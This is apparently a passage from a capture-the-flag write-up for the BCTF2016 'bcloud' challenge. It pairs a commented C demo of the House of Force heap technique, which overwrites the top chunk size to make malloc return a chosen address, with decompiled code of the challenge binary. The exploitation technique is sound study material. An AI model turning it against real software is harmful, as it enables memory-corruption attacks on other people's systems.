pwn BCTF2016 bcloud

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

char bss_var[] = "This is a string that we want to overwrite."; //这个是我们像覆盖的地方

int main(int argc , char* argv[])
{

    fprintf(stderr, "一开始bss_var的地址在:  %p.\n", bss_var);
    fprintf(stderr, "它的值是: %s\n", bss_var);

    intptr_t *p1 = malloc(256);     //首先我们malloc,开辟一块heap空间
    fprintf(stderr, "第一次malloc的地址在 %p.\n", p1 - 2);     //现在heap有两个部分,一个是它,一个是top chunk

    int real_size = malloc_usable_size(p1);
    fprintf(stderr, "由于对其的原因,malloc真正的大小是: %ld.\n", real_size + sizeof(long)*2);

    intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long));       //top chunk 指针的位置
    fprintf(stderr, "\ntop chunk的起始位置在: %p\n", ptr_top);

    fprintf(stderr, "top chunk改之前的值为:  %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
    *(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;     //假装覆盖指针,为 -1,即 0xffffffffffffffff,现在top chunk变成了一个巨大的值,我们可以在不调用mmap的情况下malloc任何值
    fprintf(stderr, "top chunk改之后的值为: %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));

    /*
     * evil_size 的计算方式(nb是请求的大小+metadata的大小):
     * new_top = old_top + nb
     * nb = new_top - old_top
     * 请求的大小 + 2sizeof(long) = new_top - old_top            //  sizeof(long)就是8byte
     * 请求的大小 = new_top - old_top - 2sizeof(long)
     * 请求的大小 = dest - 2sizeof(long) - old_top - 2sizeof(long)       //dest为新的chunk指向的位置
     * 请求的大小 = dest - old_top - 4*sizeof(long)          //请求的大小 = 新chunk指向位置 - old_top的位置 - 4*(8byte)
     */
    unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;      //请求的大小 = 新chunk指向位置 - old_top的位置 - 4*(8byte)
    void *new_ptr = malloc(evil_size);      // 新chunk指向位置  =  请求的大小 + old_top的位置 + 4*(8byte)
    fprintf(stderr, "现在新的chunk指向了原来的top chunk: %p\n", new_ptr - sizeof(long)*2);//此时top chunk的位置已经到了要覆盖位置的前方

    void* ctr_chunk = malloc(100);      //再次malloc,我们malloc到了我们想要的位置
    fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer.\n");
    fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk);

    fprintf(stderr, "... old string: %s\n", bss_var);
    strcpy(ctr_chunk, "YEAH!!!");  //覆盖数据
    fprintf(stderr, "... new string: %s\n", bss_var);
}

void __cdecl main()
{
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stderr, 0, 2, 0);
  save_all();
  while ( 1 )
  {
    switch ( make_choice() )
    {
      case 1:
        new_note();
        break;
      case 2:
        Something_strange_happened();
        break;
      case 3:
        edit_note();
        break;
      case 4:
        del_note();
        break;
      case 5:
        Synchronization();
        break;
      case 6:
        bye();
        return;
      default:
        Invalid_option();
        break;
    }
  }
}

int __cdecl input_morty(int a1, int a2, char a3)
{
  char buf; // [sp+1Bh] [bp-Dh]@2
  int i; // [sp+1Ch] [bp-Ch]@1

  for ( i = 0; i < a2; ++i )                    // a2 = 64
  {
    if ( read(0, &buf, 1u) <= 0 )
      exit(-1);
    if ( buf == a3 )                            // a3 = 10
      break;
    *(_BYTE *)(a1 + i) = buf;                   // a1是字符串的地址
  }
  *(_BYTE *)(i + a1) = 0;                       // 将最后一位置零
  return i;                                     // 返回字符串的长度
}

int __cdecl puts_stuff(int a1)
{
  printf("Hey %s! Welcome to BCTF CLOUD NOTE MANAGE SYSTEM!\n", a1);
  return puts("Now let's set synchronization options.");
}

int save_ori_host()
{
  char s; // [sp+1Ch] [bp-9Ch]@1
  char *v2; // [sp+5Ch] [bp-5Ch]@1
  int v3; // [sp+60h] [bp-58h]@1
  char *v4; // [sp+A4h] [bp-14h]@1
  int v5; // [sp+ACh] [bp-Ch]@1

  v5 = *MK_FP(__GS__, 20);
  memset(&s, 0, 0x90u);
  puts("Org:");
  input_morty((int)&s, 64, 10);
  puts("Host:");
  input_morty((int)&v3, 64, 10);
  v4 = (char *)malloc(0x40u);
  v2 = (char *)malloc(0x40u);
  dword_804B0C8 = (int)v2;                      // ori指针
  dword_804B148 = (int)v4;                      // host指针
  strcpy(v4, (const char *)&v3);
  strcpy(v2, &s);
  puts("OKay! Enjoy:)");
  return *MK_FP(__GS__, 20) ^ v5;
}

int new_note()
{
  int result; // eax@6
  signed int i; // [sp+18h] [bp-10h]@1
  int v2; // [sp+1Ch] [bp-Ch]@7

  for ( i = 0; i <= 9 && dword_804B120[i]; ++i )
    ;
  if ( i == 10 )
  {
    result = puts("Lack of space. Upgrade your account with just $100 :)");
  }
  else
  {
    puts("Input the length of the note content:");
    v2 = sub_8048709();
    dword_804B120[i] = (int)malloc(v2 + 4);
    if ( !dword_804B120[i] )
      exit(-1);
    dword_804B0A0[i] = v2;
    puts("Input the content:");
    input_morty(dword_804B120[i], v2, 10);
    printf("Create success, the id is %d\n", i);
    result = i;
    dword_804B0E0[i] = 0;
  }
  return result;
}